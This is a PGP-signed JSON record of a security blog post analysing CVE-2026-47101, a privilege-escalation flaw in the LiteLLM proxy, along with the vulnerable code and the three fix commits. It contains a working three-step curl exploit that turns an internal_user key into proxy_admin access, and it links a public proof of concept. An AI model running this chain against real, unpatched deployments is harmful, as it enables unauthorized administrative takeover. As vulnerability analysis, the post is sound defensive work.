-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"CVE-2026-47101 was disclosed by Fenix Qiao (`13ph03nix`) of Obsidian Security through Huntr and published by BerriAI on May 21, 2026. The NVD summary calls it \"improper validation on the `allowed_routes` field.\" The patch's own comment calls it what it is.\n\n## The exploit is three calls. Each one unwraps the next.\n\nThe PoC, in shell, against a stock v1.82.6 container:\n\n```bash\n# 1. Authenticate as the lowest-privileged authenticated role.\n# The internal_user key here was minted by an admin via /user/new.\ncurl -X POST http://target:4000/key/generate \\\n -H \"Authorization: Bearer sk-internal-user-key\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"allowed_routes\": [\"/*\"]}'\n# {\"key\": \"sk-wildcard-key\", \"allowed_routes\": [\"/*\"], ...}\n\n# 2. Use the wildcard key to update your own user record.\ncurl -X POST http://target:4000/user/update \\\n -H \"Authorization: Bearer sk-wildcard-key\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"user_id\": \"your-own-id\", \"user_role\": \"proxy_admin\"}'\n# {\"user_id\": \"...\", \"data\": {\"user_role\": \"proxy_admin\", ...}}\n\n# 3. Confirm admin access. /user/list is proxy_admin-only.\ncurl -X GET http://target:4000/user/list \\\n -H \"Authorization: Bearer sk-wildcard-key\"\n# Returns every user on the proxy.\n```\n\nThree calls, three gates passed, three gaps. The caller starts as the lowest-privileged authenticated role LiteLLM ships, `internal_user`, intended for read-mostly self-service. After call two, they hold `proxy_admin`, the role that can delete other users, rotate the master key, edit the model catalog, and read every team's spend across the deployment. The PoC's `demo.sh` runs the chain end to end in under two seconds.\n\n## Gap one: /key/generate accepted the field without checking the caller's role.\n\nPre-patch `litellm/proxy/management_endpoints/key_management_endpoints.py`, abridged:\n\n```python\n@router.post(\"/key/generate\", ...)\nasync def generate_key_fn(\n data: GenerateKeyRequest,\n user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth),\n ...\n):\n ...\n # data.allowed_routes flows through into the new token row.\n # user_api_key_dict.user_role is read for unrelated checks\n # (max budget enforcement, user_id auto-assignment) but never\n # gated against data.allowed_routes.\n```\n\nThe handler verified the caller held a valid API key. It did not verify that the caller's role permitted setting `allowed_routes` on the issued key. `data.allowed_routes` was stored verbatim into the new `LiteLLM_VerificationToken.allowed_routes` column.\n\nThe fix, added in commit `d910a95` on April 9, 2026, is one function and one call site:\n\n```python\ndef _check_allowed_routes_caller_permission(\n allowed_routes: Optional[list],\n user_api_key_dict: UserAPIKeyAuth,\n) -> None:\n \"\"\"\n Only proxy admins may set `allowed_routes` on a key.\n\n `allowed_routes` bypasses the standard role-based route gate in\n RouteChecks.non_proxy_admin_allowed_routes_check, so if a non-admin is\n allowed to set it they can grant themselves access to any endpoint.\n Non-admins should use `key_type` to pick a preset route bucket instead.\n \"\"\"\n if not allowed_routes:\n return\n if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:\n return\n raise HTTPException(\n status_code=403,\n detail={\"error\": \"Only proxy admins can set `allowed_routes` on a key.\"},\n )\n```\n\nRead the second paragraph of the docstring again. The author is not describing a bug. They are describing the field's job. The job, by design, is to override the role-based gate. That is the correct behavior when an admin issues a scoped key to a service account. The bug is that, until April 9, the override was reachable from any role, including the roles the gate was supposed to protect.\n\n## Gap two: the route gate falls through to the token's allowlist on purpose.\n\n`litellm/proxy/auth/route_checks.py`, the `non_proxy_admin_allowed_routes_check` method, is a thirteen-branch `if/elif/else` chain. Read in order, with the immaterial branches collapsed:\n\n```python\nif RouteChecks.is_llm_api_route(route=route):\n pass # LLM completion routes always pass\nelif RouteChecks.is_info_route(route=route):\n ... # /key/info, /user/info, /model/info handle themselves\nelif _user_role == LitellmUserRoles.INTERNAL_USER.value and check_route_access(\n route=route, allowed_routes=LiteLLMRoutes.internal_user_routes.value,\n):\n pass # /user/update is NOT in internal_user_routes\nelif _user_is_org_admin(...) and check_route_access(org_admin_allowed_routes):\n pass\nelif _user_role == INTERNAL_USER_VIEW_ONLY and ...:\n pass\nelif check_route_access(route=route, allowed_routes=self_managed_routes):\n pass\nelif route.startswith(\"/v1/mcp/\") or route.startswith(\"/mcp-rest/\"):\n pass\nelif check_passthrough_route_access(route, user_api_key_dict=valid_token):\n pass\nelif valid_token.allowed_routes is not None:\n # ← This branch.\n route_allowed = False\n for allowed_route in valid_token.allowed_routes:\n if RouteChecks._route_matches_allowed_route(route, allowed_route):\n route_allowed = True; break\n if RouteChecks._route_matches_wildcard_pattern(route, allowed_route):\n route_allowed = True; break\n if not route_allowed:\n raise admin-only exception\nelse:\n raise admin-only exception\n```\n\nEach role-based branch asks: \"is this caller's role allowed on this route?\" Each role check works by intersecting the route against a hardcoded per-role allowlist. `INTERNAL_USER` against `internal_user_routes` does not include `/user/update`, so the third branch falls through. Every role-based branch falls through for an `INTERNAL_USER` calling `/user/update`.\n\nThen the function reaches `elif valid_token.allowed_routes is not None`. The token's own `allowed_routes` is evaluated last, after every role-based check has already failed, as the documented override for role-based denial. With `[\"/*\"]` on the token, `_route_matches_wildcard_pattern(\"/user/update\", \"/*\")` returns true, `route_allowed` flips to true, and the function returns without raising.\n\nThe design intent is explicit in the order: an admin who issues a key with `allowed_routes` is saying \"trust this key for these specific routes, even though the user behind it doesn't have role-based access to them.\" The patch's own docstring is correct. `allowed_routes` is the bypass. The bug is that the gate at issuance was missing.\n\n## Gap three: /user/update permits self-service, and the field-level guard was absent.\n\nIn v1.83.14, the `_update_single_user_logic` helper in `internal_user_endpoints.py` opens with this check:\n\n```python\n# Only proxy admins can modify user_role\nif (\n user_request.user_role is not None\n and user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN.value\n):\n raise HTTPException(\n status_code=403,\n detail=\"Only proxy admins can modify user roles.\",\n )\n```\n\nIn v1.82.6, this check did not exist. The only authorization gate inside `/user/update` was the per-record helper, `can_user_call_user_update`:\n\n```python\ndef can_user_call_user_update(user_api_key_dict, user_info):\n if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:\n return True\n elif user_api_key_dict.user_id == user_info.user_id:\n return True\n return False\n```\n\nThe helper answers a per-record question: \"may this caller mutate this user row?\" The answer \"yes, because they are this user\" is reasonable for a self-service flow where users change their own email, password, or budget. The helper does not look at WHICH FIELDS the caller is mutating. `user_role` is one of the fields `UpdateUserRequest` permits. The handler folds the request body into a Prisma `update_data(user_id=..., data=non_default_values)` call, where `non_default_values` includes `user_role=\"proxy_admin\"`. The database update succeeds. The user is now `proxy_admin`.\n\nPer-record authorization and per-field authorization are different gates. The pre-patch code held one and skipped the other. Self-service is a useful design intent; \"let users mutate their own role field\" is not what anyone meant by it, but it is what the code permitted.\n\n## Three components, three owners, no one owns the composition.\n\nThis is what [emergent-primitive](/patterns/emergent-primitive) looks like inside one repository instead of across vendors. Each of the three components is correct in isolation:\n\n- `/key/generate` accepts `allowed_routes` because keys-with-scoped-route-lists is a real, documented feature for admins.\n- The route check falls through to the token's `allowed_routes` because the field is the documented override path for admin-issued scoped keys.\n- `/user/update` permits self-update because self-service mutation is the design intent.\n\nNo single change to any one component closes the chain. The fix ships in **three independent commits** across **two files**:\n\n| Commit | Date | What it adds |\n|---|---|---|\n| [`d910a95`](https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c) | 2026-04-09 | `_check_allowed_routes_caller_permission`, wired into `/key/generate` and `/key/update`; the field-level `user_role` guard in `_update_single_user_logic` |\n| [`2220f30`](https://github.com/BerriAI/litellm/commit/2220f3076ac89bd2a2e3439acf57dcfbec2434c9) | 2026-04-24 | Re-checks `allowed_routes` after `handle_key_type` runs (because `key_type=management` derives an elevated bucket non-admins shouldn't reach); whitelists `llm_api_routes` and `info_routes` presets; adds the same shape on a sibling field via `_check_passthrough_routes_caller_permission` |\n| [`5190bd0`](https://github.com/BerriAI/litellm/commit/5190bd07eb23a037745d86328096f54378f1614a) | 2026-04-24 | Extends both checks to the service-account creation path; hardens raw-body acceptance against the same shape |\n\nThe first commit landed April 9. The tightening commits landed April 24, after the team realized the initial fix had broken the safe presets that non-admins are supposed to be able to request through `key_type`. CVE-2026-47101 published May 21, six weeks after the first fix and twenty-seven days after the last. `v1.83.14-stable` is the release that carries all three.\n\nRead the three commit messages together: \"tighten caller-permission checks on key route fields,\" \"extend caller-permission checks to service-account + harden raw-body acceptance,\" \"improve input validation on management endpoints.\" Three commits, three framings, one composition. The PoC chains all three gaps because each gap individually is small enough to slip past review and large enough to step on. This is the [trust-inversion](/patterns/trust-inversion) shape the composition produced: the credential the caller mints from `/key/generate` is the credential that authorizes `/user/update` to overwrite the caller's own role. The credential is the attack surface; it was issued by the system to the attacker on request.\n\nThe CVSS vector reads `PR:L`. Low privileges required. `internal_user` is the role LiteLLM ships for self-service users in a multi-tenant deployment. It is also, in many production LiteLLM proxies, the role attached to the application keys downstream services hold. Anyone who reached `internal_user` reached `proxy_admin`.\n\nPoC: [learner202649/CVE-2026-47101-PoC](https://github.com/learner202649/CVE-2026-47101-PoC)\n","closing_line":"The patch closes this CVE. A caller-supplied policy field stored on a credential and consulted at request time as an override for the role gate is a primitive every LLM gateway will ship some version of.","hook_md":"The LiteLLM 1.83.14 patch added a function called `_check_allowed_routes_caller_permission`. Its docstring is four sentences. The third one reads, verbatim: \"`allowed_routes` bypasses the standard role-based route gate in `RouteChecks.non_proxy_admin_allowed_routes_check`, so if a non-admin is allowed to set it they can grant themselves access to any endpoint.\" Until commit `d910a95` on April 9, 2026, the function did not exist, and `/key/generate` accepted `allowed_routes` from any authenticated caller. The field the API exposed to `internal_user` was, by the system's own design, the override for the role-based ACL.","post_id":458,"slug":"litellm-cve-2026-47101-allowed-routes-was-the-bypass","title":"CVE-2026-47101: LiteLLM's allowed_routes Field Was The Bypass The Patch Comment Said It Was","type":"initial","unreadable_sentence":"The field /key/generate let internal_user set is the field the patch's own docstring calls the bypass."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCanYw6AAKCRDeZjl4jgkQ JjM+AP4mRUSCSsWuV1Aaq8lGSCmK/TPcT9tFy7V85yqH9pmLHwD9H/xbX6TTt/rA 2rw+h7CHhCWdJsovA/cbpoCVWaM6AQQ= =vnB7 -----END PGP SIGNATURE-----